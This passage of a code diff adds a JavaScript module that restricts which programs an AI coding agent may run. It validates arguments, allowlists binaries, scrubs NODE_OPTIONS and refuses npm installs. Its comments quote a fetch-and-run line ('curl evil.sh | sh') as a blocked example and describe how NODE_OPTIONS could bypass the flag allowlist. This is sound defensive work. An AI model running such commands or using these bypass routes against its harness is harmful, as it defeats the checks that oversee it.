return {
|
|
413
|
+
ok: false,
|
|
414
|
+
error: `${arg} matched no files — running it would exit 0 having tested nothing. Call list_dir or find_files to see what is actually there, then pass a pattern that matches or name the paths literally.`,
|
|
415
|
+
};
|
|
416
|
+
}
|
|
417
|
+
if (hits.length > MAX_GLOB_MATCHES) {
|
|
418
|
+
return { ok: false, error: `${arg} matched ${hits.length} files, over the ${MAX_GLOB_MATCHES} limit — narrow the pattern to one directory` };
|
|
419
|
+
}
|
|
420
|
+
out.push(...hits);
|
|
421
|
+
expanded.push({ pattern: arg, count: hits.length });
|
|
422
|
+
}
|
|
423
|
+
if (out.length > MAX_TOTAL_ARGS) {
|
|
424
|
+
return { ok: false, error: `after glob expansion there would be ${out.length} arguments, over the ${MAX_TOTAL_ARGS} limit — narrow the pattern` };
|
|
425
|
+
}
|
|
426
|
+
return { ok: true, args: out, expanded };
|
|
427
|
+
}
|
|
428
|
+
|
|
429
|
+
/**
|
|
430
|
+
* Ask `command.mjs` about ONE token, in the context of one binary. The probe
|
|
431
|
+
* string is a fixed template; the token has already been character-checked, and
|
|
432
|
+
* the operand is a constant that always passes. So any refusal that comes back
|
|
433
|
+
* is about the token, and it is worded by the module that owns the rule.
|
|
434
|
+
*/
|
|
435
|
+
function probeToken(prefix, token, what) {
|
|
436
|
+
if (!FLAG_TOKEN.test(token)) {
|
|
437
|
+
return {
|
|
438
|
+
ok: false,
|
|
439
|
+
error: `"${token}" cannot be a ${what}: only letters, digits and . _ - / = : are usable there. If this is meant as data for your program, put it AFTER the script path, where arguments are passed through untouched.`,
|
|
440
|
+
};
|
|
441
|
+
}
|
|
442
|
+
const verdict = validateCommand(`${prefix} ${token}`);
|
|
443
|
+
if (!verdict.ok) return { ok: false, error: verdict.error };
|
|
444
|
+
return { ok: true };
|
|
445
|
+
}
|
|
446
|
+
|
|
447
|
+
/** A non-flag token that must name something real inside the workspace. */
|
|
448
|
+
function checkWorkspaceTarget(root, token, role) {
|
|
449
|
+
const r = resolveInWorkspace(root, token, 'read');
|
|
450
|
+
if (!r.ok) return { ok: false, error: `${role} "${token}" is refused: ${r.reason}` };
|
|
451
|
+
if (!existsSync(r.absolute)) {
|
|
452
|
+
return { ok: false, error: `${role} "${r.relative}" does not exist, so nothing was run. Call list_dir or find_files to get the real path.` };
|
|
453
|
+
}
|
|
454
|
+
return { ok: true, path: r.relative };
|
|
455
|
+
}
|
|
456
|
+
|
|
457
|
+
/**
|
|
458
|
+
* ── THE NODE ARGV WALK ──────────────────────────────────────────────────────
|
|
459
|
+
*
|
|
460
|
+
* Three states, and the transition between the first two is the whole module:
|
|
461
|
+
*
|
|
462
|
+
* OPTIONS every token is a node flag, validated by command.mjs.
|
|
463
|
+
* TARGETS the first non-flag token was a GLOB, so this is
|
|
464
|
+
* `node --test <patterns>`: there is no script yet, so the tokens
|
|
465
|
+
* are still node's and are still checked.
|
|
466
|
+
* DATA the first non-flag token was a real path — the script. From here
|
|
467
|
+
* node has stopped reading, so nothing is validated and nothing is
|
|
468
|
+
* glob-expanded. `"buy milk"`, `--all`, `--pri`, `--`, `>` and `*`
|
|
469
|
+
* all arrive at the script exactly as written.
|
|
470
|
+
*
|
|
471
|
+
* ⚠️ POST-BOUNDARY ARGUMENTS ARE NOT GLOB-EXPANDED, and that is a decision, not
|
|
472
|
+
* an omission. A shell expanding `"*"` behind a program's back is a classic
|
|
473
|
+
* data-corruption bug; doing it here would mean a script could never receive a
|
|
474
|
+
* literal asterisk. Expansion belongs where node itself would have wanted
|
|
475
|
+
* filenames — the target position.
|
|
476
|
+
*/
|
|
477
|
+
function buildNodeArgv(root, args) {
|
|
478
|
+
if (args.length === 0) {
|
|
479
|
+
return { ok: false, error: 'node with no arguments starts a REPL that never exits. Name a script: args: ["src/index.mjs"].' };
|
|
480
|
+
}
|
|
481
|
+
const out = [];
|
|
482
|
+
let state = 'OPTIONS';
|
|
483
|
+
let nextIsScript = false;
|
|
484
|
+
|
|
485
|
+
for (let i = 0; i < args.length; i += 1) {
|
|
486
|
+
const token = args[i];
|
|
487
|
+
|
|
488
|
+
if (state === 'DATA') { out.push(token); continue; }
|
|
489
|
+
|
|
490
|
+
if (nextIsScript) {
|
|
491
|
+
// `node -- script.mjs` — the token after `--` is the script whatever it
|
|
492
|
+
// looks like, which is exactly what `--` is for.
|
|
493
|
+
const t = checkWorkspaceTarget(root, token, 'script');
|
|
494
|
+
if (!t.ok) return t;
|
|
495
|
+
out.push(t.path);
|
|
496
|
+
state = 'DATA';
|
|
497
|
+
nextIsScript = false;
|
|
498
|
+
continue;
|
|
499
|
+
}
|
|
500
|
+
|
|
501
|
+
if (token === '--' && state === 'OPTIONS') {
|
|
502
|
+
out.push(token);
|
|
503
|
+
nextIsScript = true;
|
|
504
|
+
continue;
|
|
505
|
+
}
|
|
506
|
+
|
|
507
|
+
if (isFlag(token)) {
|
|
508
|
+
const probe = probeToken('node', token, 'node flag');
|
|
509
|
+
if (!probe.ok) return probe;
|
|
510
|
+
out.push(token);
|
|
511
|
+
continue;
|
|
512
|
+
}
|
|
513
|
+
|
|
514
|
+
if (isGlob(token)) {
|
|
515
|
+
const g = expandArgGlobs(root, [token]);
|
|
516
|
+
if (!g.ok) return g;
|
|
517
|
+
out.push(...g.args);
|
|
518
|
+
state = 'TARGETS';
|
|
519
|
+
continue;
|
|
520
|
+
}
|
|
521
|
+
|
|
522
|
+
const t = checkWorkspaceTarget(root, token, state === 'TARGETS' ? 'test target' : 'script');
|
|
523
|
+
if (!t.ok) return t;
|
|
524
|
+
out.push(t.path);
|
|
525
|
+
// ⭐ THE BOUNDARY. Only a literal script path crosses it — in TARGETS mode
|
|
526
|
+
// we are already past the point where a script could appear.
|
|
527
|
+
if (state === 'OPTIONS') state = 'DATA';
|
|
528
|
+
}
|
|
529
|
+
|
|
530
|
+
if (out.length > MAX_TOTAL_ARGS) {
|
|
531
|
+
return { ok: false, error: `after glob expansion there would be ${out.length} arguments, over the ${MAX_TOTAL_ARGS} limit` };
|
|
532
|
+
}
|
|
533
|
+
return { ok: true, args: out };
|
|
534
|
+
}
|
|
535
|
+
|
|
536
|
+
/**
|
|
537
|
+
* tsc and npx have no data half — every token belongs to the compiler or to the
|
|
538
|
+
* runner, so every token is expanded and then checked by `command.mjs`.
|
|
539
|
+
* Expansion comes FIRST because a raw `*` would fail the character check that
|
|
540
|
+
* the probe needs in order to be well formed.
|
|
541
|
+
*/
|
|
542
|
+
function buildCheckedArgv(root, prefix, args, what) {
|
|
543
|
+
const g = expandArgGlobs(root, args);
|
|
544
|
+
if (!g.ok) return g;
|
|
545
|
+
for (const token of g.args) {
|
|
546
|
+
const probe = probeToken(prefix, token, what);
|
|
547
|
+
if (!probe.ok) return probe;
|
|
548
|
+
}
|
|
549
|
+
return { ok: true, args: g.args };
|
|
550
|
+
}
|
|
551
|
+
|
|
552
|
+
function buildNpxArgv(root, args) {
|
|
553
|
+
const pkg = args[0];
|
|
554
|
+
if (!ALLOWED_NPX_PACKAGES.includes(pkg)) {
|
|
555
|
+
return {
|
|
556
|
+
ok: false,
|
|
557
|
+
error: `npx ${pkg ?? '(nothing)'} is refused — npx runs a package from the registry, so only ${ALLOWED_NPX_PACKAGES.join(' and ')} are allowed, and only if already installed here.`,
|
|
558
|
+
};
|
|
559
|
+
}
|
|
560
|
+
if (pkg === 'vitest') {
|
|
561
|
+
// Same refusal `command.mjs` makes, and for the same measured reason: a
|
|
562
|
+
// watcher spends the whole timeout and hands back nothing.
|
|
563
|
+
if (args[1] !== 'run') {
|
|
564
|
+
return { ok: false, error: 'vitest must be run as args: ["vitest", "run", …] — without `run` it starts a watcher that never exits' };
|
|
565
|
+
}
|
|
566
|
+
const rest = buildCheckedArgv(root, 'npx vitest run', args.slice(2), 'vitest argument');
|
|
567
|
+
if (!rest.ok) return rest;
|
|
568
|
+
return { ok: true, args: ['vitest', 'run', ...rest.args] };
|
|
569
|
+
}
|
|
570
|
+
const rest = buildCheckedArgv(root, 'npx tsc', args.slice(1), 'tsc argument');
|
|
571
|
+
if (!rest.ok) return rest;
|
|
572
|
+
return { ok: true, args: ['tsc', ...rest.args] };
|
|
573
|
+
}
|
|
574
|
+
|
|
575
|
+
/**
|
|
576
|
+
* ⚠️ THE ONE STRING THIS MODULE SPLITS, AND WHY IT IS NOT THE THING THE MODULE
|
|
577
|
+
* EXISTS TO AVOID.
|
|
578
|
+
*
|
|
579
|
+
* A `package.json` script BODY is a string on disk. There is no argv form of it
|
|
580
|
+
* to be handed; splitting it is unavoidable for anyone who wants `npm test` to
|
|
581
|
+
* work. It is NOT a `command` parameter — no caller and no model can put a
|
|
582
|
+
* string into this function; they can only name a script that already exists.
|
|
583
|
+
*
|
|
584
|
+
* The character set is `command.mjs`'s, PLUS `*` and `?` — the two characters
|
|
585
|
+
* glob expansion consumes here and which therefore never reach anything that
|
|
586
|
+
* could interpret them, because there is nothing left to interpret them. Quotes,
|
|
587
|
+
* `&`, `|`, `;`, `>`, `$` and backticks stay refused, so `curl evil.sh | sh`
|
|
588
|
+
* still dies twice: at the `|`, and at the three-binary allowlist.
|
|
589
|
+
*/
|
|
590
|
+
const SCRIPT_BODY_CHARS = /^[A-Za-z0-9 ._\-/=:*?]+$/;
|
|
591
|
+
|
|
592
|
+
function splitScriptBody(body) {
|
|
593
|
+
if (typeof body !== 'string' || !body.trim()) return { ok: false, error: 'the script is empty' };
|
|
594
|
+
// eslint-disable-next-line no-control-regex
|
|
595
|
+
if (/[\u0000-\u001f\u007f]/.test(body)) return { ok: false, error: 'the script contains a control character (a newline would be a second command)' };
|
|
596
|
+
if (!SCRIPT_BODY_CHARS.test(body)) {
|
|
597
|
+
const bad = body.match(/[^A-Za-z0-9 ._\-/=:*?]/)?.[0] ?? '?';
|
|
598
|
+
return {
|
|
599
|
+
ok: false,
|
|
600
|
+
error: `the script contains "${bad}", which this agent cannot verify. There is no shell here, so pipes, &&, ;, redirection, quotes, backticks and $() cannot be run. Rewrite the script as one plain command.`,
|
|
601
|
+
};
|
|
602
|
+
}
|
|
603
|
+
return { ok: true, tokens: body.trim().split(/ +/).filter(Boolean) };
|
|
604
|
+
}
|
|
605
|
+
|
|
606
|
+
/** Where a validated script-body binary actually lives. */
|
|
607
|
+
function scriptStepInvocation(root, binary, rest) {
|
|
608
|
+
if (binary === 'vitest') {
|
|
609
|
+
const entry = join(root, 'node_modules', 'vitest', 'vitest.mjs');
|
|
610
|
+
if (!existsSync(entry)) {
|
|
611
|
+
return { ok: false, error: 'the script runs vitest, but node_modules/vitest is not installed in this workspace. Change the script to `node --test <paths>`, or have the owner install vitest — this runner never installs anything.' };
|
|
612
|
+
}
|
|
613
|
+
return { ok: true, file: process.execPath, args: [entry, ...rest] };
|
|
614
|
+
}
|
|
615
|
+
// node and tsc resolve exactly as `command.mjs` resolves them; reusing its
|
|
616
|
+
// builder is what keeps the Windows `.cmd`/BatBadBut reasoning in one place.
|
|
617
|
+
return buildInvocation({ binary, tokens: [binary, ...rest] }, root);
|
|
618
|
+
}
|
|
619
|
+
|
|
620
|
+
/** Validate one script body into a spawnable step. */
|
|
621
|
+
function planScriptStep(root, name, body, extraArgs = []) {
|
|
622
|
+
const split = splitScriptBody(body);
|
|
623
|
+
if (!split.ok) return { ok: false, error: `the "${name}" script is ${JSON.stringify(body)}, which is not allowed: ${split.error}` };
|
|
624
|
+
const [binary, ...rest] = split.tokens;
|
|
625
|
+
if (!ALLOWED_SCRIPT_BINARIES.includes(binary)) {
|
|
626
|
+
return {
|
|
627
|
+
ok: false,
|
|
628
|
+
error: `the "${name}" script runs "${binary}", which this agent cannot verify. An npm script may only run: ${ALLOWED_SCRIPT_BINARIES.join(', ')}.`,
|
|
629
|
+
};
|
|
630
|
+
}
|
|
631
|
+
let planned;
|
|
632
|
+
if (binary === 'node') planned = buildNodeArgv(root, rest);
|
|
633
|
+
else if (binary === 'vitest') {
|
|
634
|
+
if (rest[0] !== 'run') return { ok: false, error: `the "${name}" script runs vitest without \`run\`, which starts a watcher that never exits` };
|
|
635
|
+
const checked = buildCheckedArgv(root, 'npx vitest run', rest.slice(1), 'vitest argument');
|
|
636
|
+
planned = checked.ok ? { ok: true, args: ['run', ...checked.args] } : checked;
|
|
637
|
+
} else planned = buildCheckedArgv(root, 'tsc', rest, 'tsc argument');
|
|
638
|
+
if (!planned.ok) return { ok: false, error: `the "${name}" script is ${JSON.stringify(body)}, which is not allowed: ${planned.error}` };
|
|
639
|
+
|
|
640
|
+
const finalArgs = [...planned.args, ...extraArgs];
|
|
641
|
+
const inv = scriptStepInvocation(root, binary, finalArgs);
|
|
642
|
+
if (!inv.ok) return inv;
|
|
643
|
+
return { ok: true, name, binary, argv: [binary, ...finalArgs], file: inv.file, spawnArgs: inv.args };
|
|
644
|
+
}
|
|
645
|
+
|
|
646
|
+
function readPackageJson(root) {
|
|
647
|
+
const r = resolveInWorkspace(root, 'package.json', 'read');
|
|
648
|
+
if (!r.ok) return { ok: false, error: `package.json is unreadable here: ${r.reason}` };
|
|
649
|
+
if (!existsSync(r.absolute)) return { ok: false, error: 'this workspace has no package.json, so there are no npm scripts to run. Run the file directly: program "node", args ["path/to/file.mjs"].' };
|
|
650
|
+
let text;
|
|
651
|
+
try {
|
|
652
|
+
text = readFileSync(r.absolute, 'utf8');
|
|
653
|
+
} catch (err) {
|
|
654
|
+
return { ok: false, error: `package.json could not be read: ${err instanceof Error ? err.message : String(err)}` };
|
|
655
|
+
}
|
|
656
|
+
let pkg;
|
|
657
|
+
try {
|
|
658
|
+
pkg = JSON.parse(text);
|
|
659
|
+
} catch (err) {
|
|
660
|
+
return { ok: false, error: `package.json is not valid JSON: ${err instanceof Error ? err.message : String(err)}` };
|
|
661
|
+
}
|
|
662
|
+
return { ok: true, pkg };
|
|
663
|
+
}
|
|
664
|
+
|
|
665
|
+
/**
|
|
666
|
+
* ⚠️ THE FLOOR IS 50ms, NOT `command.mjs`'s 1,000ms, AND THE DIFFERENCE IS
|
|
667
|
+
* DELIBERATE. Clamping a requested 100ms up to a second means the result says
|
|
668
|
+
* `timedOut: false` for a run that was never given the timeout it asked for —
|
|
669
|
+
* the tool quietly answered a different question. A short timeout is a legitimate
|
|
670
|
+
* "is this thing hung?" probe, so it is honoured; 50ms is only there because
|
|
671
|
+
* below it every spawn on Windows times out on process creation alone, which
|
|
672
|
+
* would be a refusal dressed as a result.
|
|
673
|
+
*/
|
|
674
|
+
export const MIN_TIMEOUT_MS = 50;
|
|
675
|
+
|
|
676
|
+
function boundTimeout(timeoutMs) {
|
|
677
|
+
const n = typeof timeoutMs === 'number' && Number.isFinite(timeoutMs) ? timeoutMs : DEFAULT_COMMAND_TIMEOUT_MS;
|
|
678
|
+
return Math.min(Math.max(MIN_TIMEOUT_MS, n), MAX_COMMAND_TIMEOUT_MS);
|
|
679
|
+
}
|
|
680
|
+
|
|
681
|
+
function realRootOf(root) {
|
|
682
|
+
try {
|
|
683
|
+
return { ok: true, root: realpathSync(resolve(root)) };
|
|
684
|
+
} catch {
|
|
685
|
+
return { ok: false, error: `workspace directory does not exist: ${root}` };
|
|
686
|
+
}
|
|
687
|
+
}
|
|
688
|
+
|
|
689
|
+
/**
|
|
690
|
+
* Run one already-planned invocation. `spawnBounded` owns the timeout, the
|
|
691
|
+
* SIGKILL, the output cap and the scrubbed environment — this module adds no
|
|
692
|
+
* options of its own, which is how `shell: true` stays unreachable.
|
|
693
|
+
*/
|
|
694
|
+
async function spawnPlanned({ file, spawnArgs, cwd, timeoutMs, spawnImpl }) {
|
|
695
|
+
// ⚠️ Passed explicitly rather than relying on spawnBounded's default, so a
|
|
696
|
+
// future edit to that default cannot silently hand this child a real key.
|
|
697
|
+
/**
|
|
698
|
+
* ⚠️ `childEnvironment`, NOT `scrubEnvironment` — it also switches npm
|
|
699
|
+
* lifecycle scripts off for a child that is not npm itself. This module is
|
|
700
|
+
* the `node <a file the model wrote>` road, and that is exactly where an
|
|
701
|
+
* install was reaching npm with scripts ENABLED while the gated road had them
|
|
702
|
+
* off. See the paragraph on `childEnvironment` for what this does and does
|
|
703
|
+
* not close, and for the pre/post-hook cost it deliberately accepts.
|
|
704
|
+
*/
|
|
705
|
+
const env = childEnvironment({ file, args: spawnArgs }, process.env);
|
|
706
|
+
/**
|
|
707
|
+
* ⚠️⚠️ TWO VARIABLES `scrubEnvironment` DOES NOT KNOW ABOUT, BOTH FOUND BY
|
|
708
|
+
* RUNNING THIS RATHER THAN BY READING IT.
|
|
709
|
+
*
|
|
710
|
+
* · `NODE_OPTIONS` is the flag allowlist's back door. Every refusal above —
|
|
711
|
+
* `--require`, `--import`, `--loader`, `--inspect` — is bypassed if the
|
|
712
|
+
* PARENT's environment already contains it, because node reads NODE_OPTIONS
|
|
713
|
+
* before it reads argv. Nothing in the scrub matches the name (it has no
|
|
714
|
+
* KEY/TOKEN/SECRET in it), so it would have been inherited straight past
|
|
715
|
+
* the door this module spends fifty lines guarding.
|
|
716
|
+
* · `NODE_TEST_CONTEXT` is set inside `node --test`, and a child that sees it
|
|
717
|
+
* believes it is a test WORKER: it stops printing TAP and starts writing a
|
|
718
|
+
* serialised stream to a parent that is not listening. Observed here — the
|
|
719
|
+
* nested `node --test` returned exit 0 and an EMPTY stdout, which is the
|
|
720
|
+
* silent-green failure this whole module exists to prevent, arriving by a
|
|
721
|
+
* completely different route.
|
|
722
|
+
*
|
|
723
|
+
* Deleted here rather than in `scrubEnvironment` because that function is
|
|
724
|
+
* shared with `run_command` and this module must not change its behaviour.
|
|
725
|
+
*/
|
|
726
|
+
delete env.NODE_OPTIONS;
|
|
727
|
+
delete env.NODE_TEST_CONTEXT;
|
|
728
|
+
return spawnBounded({ file, args: spawnArgs, cwd, timeoutMs, spawnImpl, env });
|
|
729
|
+
}
|
|
730
|
+
|
|
731
|
+
/**
|
|
732
|
+
* ── ⭐ PLANNING, SEPARATED FROM RUNNING ─────────────────────────────────────
|
|
733
|
+
*
|
|
734
|
+
* node · npx · tsc: validate the argv and resolve the EXACT `spawn(file, args)`,
|
|
735
|
+
* without spawning anything. Extracted from `runProgram` rather than written
|
|
736
|
+
* beside it, because `background.mjs` needs this half and only this half — it
|
|
737
|
+
* starts a process that must OUTLIVE the call, so it cannot use `spawnPlanned`,
|
|
738
|
+
* which owns the timeout that kills one.
|
|
739
|
+
*
|
|
740
|
+
* ⚠️ THE POINT IS THAT THERE IS NO SECOND COPY. A background start that
|
|
741
|
+
* re-derived "is this a legal node flag" would be a second, less-audited door to
|
|
742
|
+
* the same capability — the exact shape `command.mjs` names as the bug in its own
|
|
743
|
+
* header, and this package has already shipped one RCE that printed a check mark.
|
|
744
|
+
* Every refusal a background process gets is therefore, byte for byte, the
|
|
745
|
+
* refusal `run_program` would have given.
|
|
746
|
+
*/
|
|
747
|
+
function planBinaryInvocation(cwd, program, args) {
|
|
748
|
+
let planned;
|
|
749
|
+
if (program === 'node') planned = buildNodeArgv(cwd, args);
|
|
750
|
+
else if (program === 'npx') planned = buildNpxArgv(cwd, args);
|
|
751
|
+
else planned = buildCheckedArgv(cwd, 'tsc', args, 'tsc argument');
|
|
752
|
+
if (!planned.ok) return planned;
|
|
753
|
+
|
|
754
|
+
const inv = buildInvocation({ binary: program, tokens: [program, ...planned.args] }, cwd);
|
|
755
|
+
if (!inv.ok) return { ok: false, error: inv.error };
|
|
756
|
+
return { ok: true, argv: [program, ...planned.args], file: inv.file, spawnArgs: inv.args };
|
|
757
|
+
}
|
|
758
|
+
|
|
759
|
+
/**
|
|
760
|
+
* `npm test` / `npm run <script>` / `npm run <script> -- <args…>`, as ONE
|
|
761
|
+
* planned spawn.
|
|
762
|
+
*
|
|
763
|
+
* ⚠️ SHARED WITH `runNpm` SO THE TWO CANNOT DISAGREE ABOUT WHAT `--` MEANS.
|
|
764
|
+
*
|
|
765
|
+
* @returns {{ ok: true, script: string, extra: string[] } | ArgvRefused}
|
|
766
|
+
*/
|
|
767
|
+
function parseNpmArgs(args) {
|
|
768
|
+
const sub = args[0];
|
|
769
|
+
/**
|
|
770
|
+
* ⚠️ AN INSTALL IS NEVER A BACKGROUND PROCESS, EVEN WHEN INSTALLS ARE ON.
|
|
771
|
+
* `start_process` starts something nobody waits for. An install nobody waits
|
|
772
|
+
* for races the very `node`/`npm test` run that needs what it is fetching, and
|
|
773
|
+
* its receipt — the package.json line a human is supposed to review — is read
|
|
774
|
+
* by no one. So this refusal has no switch, and it names the way out.
|
|
775
|
+
*/
|
|
776
|
+
if (INSTALL_SUBCOMMANDS.has(sub)) {
|
|
777
|
+
return { ok: false, error: `npm ${sub} cannot be started in the background — nothing would wait for it, so the next command would race a half-populated node_modules, and this runner never installs or publishes without being waited on. Run it with run_program instead.` };
|
|
778
|
+
}
|
|
779
|
+
if (REFUSED_NPM_SUBCOMMANDS.has(sub)) {
|
|
780
|
+
return { ok: false, error: `npm ${sub} is refused — this runner never installs or publishes. Only "test", "run <script>" and "run <script> -- <args…>" are available.` };
|
|
781
|
+
}
|
|
782
|
+
if (sub === 'test' || sub === 't') {
|
|
783
|
+
if (args.length !== 1) {
|
|
784
|
+
return { ok: false, error: 'npm test takes no extra arguments. To pass arguments to a script use args: ["run", "<script>", "--", …].' };
|
|
785
|
+
}
|
|
786
|
+
return { ok: true, script: 'test', extra: [] };
|
|
787
|
+
}
|
|
788
|
+
if (sub === 'run' || sub === 'run-script') {
|
|
789
|
+
const script = args[1];
|
|
790
|
+
if (typeof script !== 'string' || !/^[A-Za-z0-9][A-Za-z0-9:._-]*$/.test(script)) {
|
|
791
|
+
return { ok: false, error: `"${script ?? '(nothing)'}" is not a valid npm script name — args must be ["run", "<script>"] or ["run", "<script>", "--", …]` };
|
|
792
|
+
}
|
|
793
|
+
if (args.length > 2 && args[2] !== '--') {
|
|
794
|
+
return { ok: false, error: 'to pass arguments to a script, separate them with "--": args: ["run", "build", "--", "--out", "dist"]' };
|
|
795
|
+
}
|
|
796
|
+
return { ok: true, script, extra: args.length > 2 ? args.slice(3) : [] };
|
|
797
|
+
}
|
|
798
|
+
return {
|
|
799
|
+
ok: false,
|
|
800
|
+
error: `npm ${sub ?? '(nothing)'} is refused — only "test", "run <script>" and "run <script> -- <args…>" are available here. This runner never installs or publishes.`,
|
|
801
|
+
};
|
|
802
|
+
}
|
|
803
|
+
|
|
804
|
+
/**
|
|
805
|
+
* ── ⭐ PLAN ONE PROCESS, FOR A CALLER THAT WILL NOT WAIT FOR IT ──────────────
|
|
806
|
+
*
|
|
807
|
+
* Everything `run_program` checks, and nothing it runs. `background.mjs` calls
|
|
808
|
+
* this so `start_process` can finally take a real argv — `node server.mjs
|
|
809
|
+
* --port 3005`, the most common dev-server invocation on earth, which the string
|
|
810
|
+
* parser refuses because `--port` is not one of NODE's flags (measured: it is,
|
|
811
|
+
* and always was, refused).
|
|
812
|
+
*
|
|
813
|
+
* ⚠️ npm IS PLANNED, NOT SPAWNED — the same trick `runPackageScript` uses and for
|
|
814
|
+
* a sharper reason here. Handing extra arguments to `npm run dev -- --port 3005`
|
|
815
|
+
* means npm appends them to the script BODY and hands the result to a shell; the
|
|
816
|
+
* quoting of that append is npm's business, not ours, and "probably quoted" is
|
|
817
|
+
* not a security argument. So the script body is validated and its program is
|
|
818
|
+
* spawned directly with a real argv, exactly as `run_program` does.
|
|
819
|
+
*
|
|
820
|
+
* ⚠️ A `pre`/`post` HOOK IS A REFUSAL RATHER THAN A SKIP. `runPackageScript`
|
|
821
|
+
* runs them in npm's order and stops at the first failure — impossible for a
|
|
822
|
+
* single background process, which by definition nobody waits for. Silently
|
|
823
|
+
* dropping a `predev` that builds the thing being served would make the server
|
|
824
|
+
* serve something stale, so it says so and names the way out.
|
|
825
|
+
*
|
|
826
|
+
* @param {{ root: string, program: unknown, args?: unknown }} input
|
|
827
|
+
* @returns {{ ok: true, cwd: string, program: string, script?: string, argv: string[], file: string, spawnArgs: string[] } | ArgvRefused}
|
|
828
|
+
*/
|
|
829
|
+
export function planSingleSpawn({ root, program, args } = {}) {
|
|
830
|
+
const rr = realRootOf(root);
|
|
831
|
+
if (!rr.ok) return { ok: false, error: rr.error };
|
|
832
|
+
const cwd = rr.root;
|
|
833
|
+
|
|
834
|
+
if (typeof program !== 'string' || !program) {
|
|
835
|
+
return { ok: false, error: `program is required and must be one of: ${ALLOWED_BINARIES.join(', ')}` };
|
|
836
|
+
}
|
|
837
|
+
if (!ALLOWED_BINARIES.includes(program)) {
|
|
838
|
+
return {
|
|
839
|
+
ok: false,
|
|
840
|
+
error: `"${program}" is not a program this agent may run. Allowed: ${ALLOWED_BINARIES.join(', ')}. git has its own structured tools (git_status, git_diff, git_commit); curl, python, rm, bash, sh, cmd and powershell are not reachable from here at all.`,
|
|
841
|
+
};
|
|
842
|
+
}
|
|
843
|
+
|
|
844
|
+
const list = checkArgList(args);
|
|
845
|
+
if (!list.ok) return list;
|
|
846
|
+
|
|
847
|
+
if (program === 'npm') {
|
|
848
|
+
const parsed = parseNpmArgs(list.args);
|
|
849
|
+
if (!parsed.ok) return parsed;
|
|
850
|
+
const read = readPackageJson(cwd);
|
|
851
|
+
if (!read.ok) return read;
|
|
852
|
+
const scripts = read.pkg && typeof read.pkg === 'object' ? read.pkg.scripts : null;
|
|
853
|
+
if (!scripts || typeof scripts !== 'object') {
|
|
854
|
+
return { ok: false, error: 'package.json has no "scripts" section, so there is nothing to run. Run the file directly: program "node", args ["path/to/file.mjs"].' };
|
|
855
|
+
}
|
|
856
|
+
if (typeof scripts[parsed.script] !== 'string') {
|
|
857
|
+
const available = Object.keys(scripts).slice(0, 12);
|
|
858
|
+
return { ok: false, error: `package.json has no "${parsed.script}" script${available.length ? ` (it has: ${available.join(', ')})` : ''}` };
|
|
859
|
+
}
|
|
860
|
+
for (const hook of [`pre${parsed.script}`, `post${parsed.script}`]) {
|
|
861
|
+
if (typeof scripts[hook] !== 'string') continue;
|
|
862
|
+
return {
|
|
863
|
+
ok: false,
|
|
864
|
+
error: `the "${parsed.script}" script has a "${hook}" hook, and only ONE process can be started in the background — nothing would wait for the hook, so it would either be skipped or race the thing it exists to prepare. Run it first with run_program {"program":"npm","args":["run","${hook}"]}, then start "${parsed.script}".`,
|
|
865
|
+
};
|
|
866
|
+
}
|
|
867
|
+
const step = planScriptStep(cwd, parsed.script, scripts[parsed.script], parsed.extra);
|
|
868
|
+
if (!step.ok) return step;
|
|
869
|
+
return {
|
|
870
|
+
ok: true,
|
|
871
|
+
cwd,
|
|
872
|
+
program,
|
|
873
|
+
script: parsed.script,
|
|
874
|
+
argv: parsed.extra.length ? ['npm', 'run', parsed.script, '--', ...parsed.extra] : ['npm', 'run', parsed.script],
|
|
875
|
+
ranArgv: step.argv,
|
|
876
|
+
file: step.file,
|
|
877
|
+
spawnArgs: step.spawnArgs,
|
|
878
|
+
};
|
|
879
|
+
}
|
|
880
|
+
|
|
881
|
+
const plan = planBinaryInvocation(cwd, program, list.args);
|
|
882
|
+
if (!plan.ok) return plan;
|
|
883
|
+
return { ok: true, cwd, program, argv: plan.argv, file: plan.file, spawnArgs: plan.spawnArgs };
|
|
884
|
+
}
|
|
885
|
+
|
|
886
|
+
/**
|
|
887
|
+
* ── ⭐ THE TOOL ─────────────────────────────────────────────────────────────
|
|
888
|
+
*
|
|
889
|
+
* @param {{ root: string, program: unknown, args?: unknown, timeoutMs?: number, spawnImpl?: Function }} input
|
|
890
|
+
*/
|
|
891
|
+
export async function runProgram({ root, program, args, timeoutMs, spawnImpl } = {}) {
|
|
892
|
+
const rr = realRootOf(root);
|
|
893
|
+
if (!rr.ok) return { ok: false, error: rr.error };
|
|
894
|
+
const cwd = rr.root;
|
|
895
|
+
|
|
896
|
+
if (typeof program !== 'string' || !program) {
|
|
897
|
+
return { ok: false, error: `program is required and must be one of: ${ALLOWED_BINARIES.join(', ')}` };
|
|
898
|
+
}
|
|
899
|
+
if (!ALLOWED_BINARIES.includes(program)) {
|
|
900
|
+
return {
|
|
901
|
+
ok: false,
|
|
902
|
+
error: `"${program}" is not a program this agent may run. Allowed: ${ALLOWED_BINARIES.join(', ')}. git has its own structured tools (git_status, git_diff, git_commit); curl, python, rm, bash, sh, cmd and powershell are not reachable from here at all.`,
|
|
903
|
+
};
|
|
904
|
+
}
|
|
905
|
+
|
|
906
|
+
const list = checkArgList(args);
|
|
907
|
+
if (!list.ok) return list;
|
|
908
|
+
|
|
909
|
+
/**
|
|
910
|
+
* ⚠️ npm KEEPS ITS OWN, MULTI-STEP PATH HERE. `planSingleSpawn` plans exactly
|
|
911
|
+
* one process and refuses a `pre`/`post` hook; `run_program` waits for what it
|
|
912
|
+
* starts, so it can and must run the hooks in npm's order.
|
|
913
|
+
*/
|
|
914
|
+
if (program === 'npm') return runNpm({ root: cwd, args: list.args, timeoutMs, spawnImpl });
|
|
915
|
+
|
|
916
|
+
const planned = planBinaryInvocation(cwd, program, list.args);
|
|
917
|
+
if (!planned.ok) return planned;
|
|
918
|
+
const inv = { file: planned.file, args: planned.spawnArgs };
|
|
919
|
+
|
|
920
|
+
const run = await spawnPlanned({ file: inv.file, spawnArgs: inv.args, cwd, timeoutMs: boundTimeout(timeoutMs), spawnImpl });
|
|
921
|
+
if (!run.ok) return run;
|
|
922
|
+
|
|
923
|
+
return {
|
|
924
|
+
ok: true,
|
|
925
|
+
program,
|
|
926
|
+
/**
|
|
927
|
+
* ⚠️ TWO ARGVS, ON PURPOSE. `argv` is the logical one — it is the receipt
|
|
928
|
+
* that proves `"buy milk"` arrived as ONE slot, which is the fact the model
|
|
929
|
+
* (and the transcript) needs. `spawnArgv` is literally what hit the OS,
|
|
930
|
+
* including the resolved npx/tsc entry point, because "what really ran" and
|
|
931
|
+
* "what I asked for" differ for three of the four programs.
|
|
932
